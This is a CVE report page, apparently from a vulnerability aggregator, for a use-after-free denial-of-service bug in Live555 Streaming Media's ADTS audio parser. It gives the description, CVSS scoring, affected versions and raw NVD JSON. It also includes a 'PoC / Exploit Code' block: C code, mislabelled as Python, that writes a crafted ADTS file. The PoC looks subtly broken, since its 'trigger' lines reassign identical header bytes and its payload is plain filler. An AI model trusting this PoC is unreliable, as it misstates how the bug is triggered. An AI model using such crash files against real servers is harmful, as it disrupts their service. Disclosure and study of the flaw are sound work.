Security Vulnerability Report
中文
CVE-2025-65405 CVSS 6.5 MEDIUM

CVE-2025-65405

Published: 2025-12-01 16:15:57
Last Modified: 2025-12-23 13:48:37

Description

A use-after-free in the ADTSAudioFileSource::samplingFrequency() function of Live555 Streaming Media v2018.09.02 allows attackers to cause a Denial of Service (DoS) via supplying a crafted ADTS/AAC file.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:live555:streaming_media:2018-09-02:*:*:*:*:*:*:* - VULNERABLE
Live555 Streaming Media v2018.09.02及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-65405 PoC - Use-After-Free in Live555 ADTSAudioFileSource::samplingFrequency() * This PoC demonstrates the vulnerability by creating a malformed ADTS/AAC file * WARNING: For educational and research purposes only */ #include <stdio.h> #include <stdlib.h> #include <string.h> // ADTS header structure typedef struct { unsigned int syncword; // 12 bits: 0xFFF unsigned int ID; // 1 bit: 0 for MPEG-4, 1 for MPEG-2 unsigned int layer; // 2 bits: always 00 unsigned int protection_absent; // 1 bit: 1 if no CRC unsigned int profile; // 2 bits: AAC profile unsigned int sampling_frequency_index; // 4 bits unsigned int private_bit; // 1 bit unsigned int channel_configuration; // 3 bits unsigned int original_copy; // 1 bit unsigned int home; // 1 bit } ADTS_Header; void create_malicious_adts_file(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) return; // ADTS sync word (0xFFF) unsigned char adts_header[7] = {0xFF, 0xF1, 0x50, 0x80, 0x02, 0x1F, 0xFC}; // Modify header to trigger vulnerability in samplingFrequency() // Set sampling_frequency_index to trigger error path adts_header[2] = 0x50; // Sampling rate manipulation adts_header[3] = 0x80; // Additional trigger conditions // Write malicious header fwrite(adts_header, 1, 7, fp); // Write payload that triggers use-after-free condition unsigned char payload[1024]; memset(payload, 0x41, sizeof(payload)); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("Malicious ADTS file created: %s\n", filename); } int main() { create_malicious_adts_file("poc.adts"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65405", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:57.300", "lastModified": "2025-12-23T13:48:36.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free in the ADTSAudioFileSource::samplingFrequency() function of Live555 Streaming Media v2018.09.02 allows attackers to cause a Denial of Service (DoS) via supplying a crafted ADTS/AAC file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:live555:streaming_media:2018-09-02:*:*:*:*:*:*:*", "matchCriteriaId": "C9F01989-4E5A-42B7-8EF7-74E3A5335754"}]}]}], "references": [{"url": "https://github.com/rgaufman/live555", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://shimo.im/docs/25q5XMXpOwSr8w3D", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}